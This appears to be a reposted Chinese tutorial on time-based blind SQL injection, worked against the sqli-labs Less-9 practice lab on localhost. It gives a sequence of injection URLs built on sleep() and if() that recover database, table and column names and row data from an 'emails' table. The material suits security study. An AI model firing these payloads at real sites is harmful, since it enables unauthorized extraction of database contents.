标签:127.0 http 0.1 时间 --+ sleep 盲注 id
利用前提:页面上没有显示位,也没有输出SQL语句执行错误信息,正确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条件之后,页面的返回速度明显慢了5秒。
优点:不需要显示位,不需要出错信息
缺点:速度慢,耗费大量时间
sleep 函数判断页面响应时间 if(判断时间,为TRUE时执行,为FALSE时执行)
判断是否存在延时注入
http://127.0.0.1/sqli-labs/Less-9/?id=1' and sleep(8) --+
如果页面没存在长时间的延迟,就应该不断更换闭合字符以达到效果
判断数据库名的长度
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length(database())>7,sleep(8),1) --+
爆破数据库名
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))=32,sleep(8),1) --+
判断表名长度
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5,sleep(8),1) --+
爆破表名
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=32,sleep(8),1) --+
判断字段长度
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length((select column_name from information_schema.columns where table_name='emails' limit 0,1))>1,sleep(8),1) --+
爆破字段名
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=32,sleep(8),1) --+
判断数据长度
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length((select id from emails limit 0,1))>0,sleep(8),1) --+
爆破数据
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr((select id from emails limit 0,1),1,1))=32,sleep(8),1)--+
标签:127.0,http,0.1,时间,--+,sleep,盲注,id 来源: https://www.cnblogs.com/crany/p/15253195.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。